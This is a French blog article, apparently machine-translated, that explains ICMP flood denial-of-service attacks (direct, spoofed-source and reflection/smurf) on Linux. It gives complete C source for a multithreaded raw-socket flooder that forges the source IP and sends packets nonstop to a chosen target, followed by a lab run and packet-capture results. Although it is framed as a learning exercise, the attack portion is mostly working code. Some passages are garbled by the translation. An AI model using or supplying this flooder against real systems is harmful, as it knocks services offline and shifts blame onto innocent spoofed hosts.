Maison  >  Article  >  Opération et maintenance  >  Linux - Introduction d'une instance d'attaque par inondation ICMP

Linux - Introduction d'une instance d'attaque par inondation ICMP

零下一度
零下一度original
2017-06-29 15:41:592223parcourir

Cet article présente principalement les informations pertinentes sur l'attaque par inondation ICMP sur Linuxprogrammation en détail. Il a une certaine valeur de référence. Les amis intéressés peuvent se référer à

moi dans l'article précédent « Implémentation ». de PING dans la programmation Linux", le protocole ICMP a été utilisé pour implémenter le programme PING. En plus de l'implémentation d'un tel programme PING, quelles autres utilisations inconnues ou intéressantes ICMP a-t-il ? Ici, je vais présenter une autre technologie noire bien connue d'ICMP : l'attaque par inondation ICMP.

L'attaque par inondation ICMP est un type de la célèbre attaque DOS (Denial of Service), qui est une méthode d'attaque préférée des pirates informatiques. Dans le but d'approfondir ma compréhension d'ICMP, j'essaie également de le faire. écrire une applet d'attaque par inondation ICMP basée sur ICMP.

L'ATTAQUE D'INONDATION fait référence à l'utilisation de la technologie des réseaux informatiques pour envoyer un grand nombre de paquets de données inutiles à l'hôte de destination, rendant l'hôte de destination occupé à traiter des paquets de données inutiles et incapable de fournir des services normauxComportement.

Attaque par inondation ICMP : comme son nom l'indique, elle envoie un flot de paquets ping à l'hôte de destination, ce qui rend l'hôte de destination occupé à traiter les paquets ping et incapable de traiter d'autres requêtes normales. inondation de paquets ping. L'hôte de destination a été inondé.

Pour mettre en œuvre une attaque par inondation ICMP, les trois réserves de connaissances suivantes sont requises :

  • Principes d'attaque DOS

  • Compréhension approfondie d'ICMP

  • Compétences en programmation de socket brutes

Principe d'attaque par inondation ICMP

Les attaques par inondation ICMP sont formées sur la base du ping, mais le programme ping provoque rarement des problèmes et des temps d'arrêt, car la vitesse à laquelle le ping envoie les paquets est trop lente, comme dans le programme PING I. mis en œuvre, le débit d'envoi des paquets ping est limité à 1 paquet par seconde. Ce débit est largement suffisant pour que l'hôte de destination traite les paquets ping. Ainsi, pour provoquer un phénomène « d'inondation », il faut augmenter le taux d'émission des contrats. Voici trois méthodes d'attaque par inondation ICMP :

(1) Attaque par inondation directe

Cela nécessite une compétition entre la bande passante de l'hôte local et la bande passante de la destination hôte. , par exemple, la bande passante de mon réseau hôte est de 30 Mo et la bande passante de votre réseau hôte n'est que de 3 Mo, alors le taux de réussite de mon lancement d'une attaque par inondation pour submerger votre hôte est très élevé. Cette méthode d'attaque nécessite que la puissance de traitement et la bande passante de l'hôte attaquant soient supérieures à celles de l'hôte attaqué, sinon ce sera DoSed. Sur la base de cette idée, nous pouvons utiliser un ordinateur à large bande passante et hautes performances pour envoyer plusieurs messages de requête ICMP à la fois en utilisant une méthode multithread, de sorte que l'hôte de destination soit occupé à traiter un grand nombre de ces messages, ce qui ralentit vitesse ou même les temps d'arrêt. Cette méthode présente un gros inconvénient, c'est-à-dire que l'autre partie peut bloquer la source de l'attaque en fonction de l'adresse IP du paquet ICMP, de sorte que l'attaque ne puisse pas continuer.

(2) Fausse attaque IP

Sur la base de l'attaque directe par inondation, nous déguisons l'adresse IP de l'expéditeur en une autre IP si elle est déguisée en adresse IP aléatoire, vous pouvez très bien masquer votre emplacement ; si vous déguisez votre adresse IP en celle d'autres victimes, cela provoquera une situation de "discorde attisant", et les paquets de réponse icmp de l'hôte de la victime 1 seront également envoyés comme un flot à l'hôte de la victime. 2, si l'administrateur de l'hôte 1 veut savoir quel salaud a envoyé le paquet pour l'attaquer, il vérifie l'adresse source du paquet ICMP, et il s'avère qu'il s'agit de l'hôte 2. De cette façon, l'hôte 2 devient le bouc émissaire.

(3) Attaque par réflexion

L'idée de ce type d'attaque est différente des deux attaques ci-dessus, et la conception de l'attaque par réflexion est plus intelligente. En fait, le mode d'attaque du troisième mode est ici la version fusionnée et améliorée des deux premiers modes. La stratégie d'attaque du troisième mode s'apparente un peu à « tuer avec un couteau emprunté ». L'attaque par réflexion ne cible plus directement le personnage. l'hôte cible, mais amène un groupe d'autres hôtes à le prendre pour l'hôte cible. Après leur avoir envoyé des paquets de requête ICMP, un groupe d'hôtes envoie ensuite des paquets de réponse ICMP à l'hôte de destination, provoquant une inondation de toutes les directions pour inonder l'hôte de destination. . Par exemple, nous envoyons des paquets de requête ICMP à d'autres hôtes sur le réseau local, puis déguisons notre propre adresse IP en adresse IP de l'hôte de destination. De cette manière, l'hôte de sous-destination devient le centre de l'écho ICMP. Cette attaque est très subtile car il est difficile pour l'hôte victime de savoir qui est à l'origine de l'attaque.

2. Conception du programme d'attaque par inondation ICMP

Ici, je veux implémenter un exemple d'attaque par inondation ICMP Ici. Je souhaite utiliser la deuxième méthode pour concevoir. Bien que la troisième méthode consistant à « tuer quelqu'un avec un couteau emprunté » soit plus intelligente, il s'agit en fait d'une extension supplémentaire de la méthode de déguisement de la deuxième méthode, et la mise en œuvre est similaire.

Donnez d'abord le modèle de l'attaquePhoto :

1.

L'assemblage de paquets ici n'est pas très différent de l'assemblage de paquets lors de l'écriture du programme PING. La seule chose à noter est que nous devons remplir la partie en-tête IP car nous voulons masquer l'adresse source et la mettre. la faute sur les autres.


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}

2. Créez un fil de discussion d'envoi


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}

3. Écrivez le commutateur d'envoi de paquets

Le commutateur ici est très simple et peut être implémenté avec des sémaphores + des variables globales. . Lorsque nous appuyons sur ctrl+c, l’attaque sera fermée.


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}

4. Globalement Architecture

Nous avons utilisé 64 threads pour envoyer des paquets ensemble. Bien entendu, le nombre de threads peut être considérablement augmenté pour augmenter l'intensité de l'attaque. Mais nous ne faisons que des expériences, il n’est pas nécessaire d’en faire autant.


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}

3. Expérience

Cette expérience a pour but d'apprendre et je le ferais. J'aime utiliser J'ai l'appareil en main et je souhaite mieux comprendre l'application du réseau et des protocoles, la portée de l'attaque est donc relativement petite et ne dure que quelques secondes, sans affecter aucun appareil.

Parlons à nouveau de nos étapes d'attaque : nous utilisons l'hôte 172.0.5.183 comme notre propre hôte d'attaque, nous nous déguisons en hôte 172.0.5.182 et lançons une attaque par inondation ICMP sur l'hôte 172.0.5.9.

L'attaque commence

Observons la situation du côté des « victimes ». En seulement 5 secondes, plus de 70 000 paquets ont été correctement reçus et transmis à la couche supérieure pour traitement. Je n'ose pas en faire trop pour ne pas nuire au fonctionnement de la machine.

Utilisez Wireshark pour capturer les paquets et jetez un autre coup d'œil. Ils sont pleins de paquets ICMP, qui semblent assez volumineux. L'adresse source du paquet ICMP est indiquée comme 172.0.5.182 (notre adresse usurpée), et elle renvoie également une réponse d'écho à 172.0.5.182. L'hôte 172.0.5.182 pensera certainement qu'il est inexplicable pourquoi il a reçu autant de paquets de réponse d'écho.

L'expérience d'attaque est terminée.

Ce qui est plus populaire maintenant, c'est l'attaque DDOS, qui est plus puissante, possède des stratégies plus sophistiquées et est plus difficile à défendre.
En fait, cette attaque DDoS est également lancée sur la base du DOS. Les étapes spécifiques sont les suivantes :

1. L'attaquant diffuse un message de demande d'écho au "réseau d'amplification" <.> 2. L'attaquant spécifie l'IP source du message diffusé comme étant l'hôte attaqué
3. "Agrandissez le réseau" et répondez en écho à l'hôte attaqué
4. Formez un scénario d'attaque DDoS

ici, « réseau amplifié » peut être compris comme un réseau avec de nombreux hôtes dont les systèmes d'exploitation doivent prendre en charge la réponse à certains paquets de requêtes ICMP dont l'adresse de destination est une adresse de diffusion.


La stratégie d'attaque est très sophistiquée. En bref, elle consiste à déguiser l'adresse source en adresse IP de l'hôte attaquant, puis à la diffuser à tous les hôtes. Les hôtes envoient collectivement des messages à l'hôte attaquant. Renvoyez le package, provoquant une situation où un groupe de personnes attaque.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn